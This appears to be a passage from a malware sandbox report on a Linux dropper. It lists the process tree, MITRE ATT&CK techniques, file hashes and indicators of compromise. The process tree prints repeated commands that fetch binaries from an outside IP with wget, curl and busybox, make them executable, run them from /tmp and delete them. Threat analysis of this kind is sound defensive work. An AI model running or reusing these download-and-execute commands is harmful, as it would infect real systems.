  2⤵
  PID:870
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:878
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:882
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:890
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:898
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:902
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:911
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:917
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P

Path /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	674	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	688	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	712	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	737	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	748	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	773	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	785	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	791	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	797	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	803	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	809	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	815	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	821	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	829	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	836	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	842	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	848	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	854	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	860	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	866	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	872	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	878	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	884	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	892	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	898	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	904	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	913	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	919	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads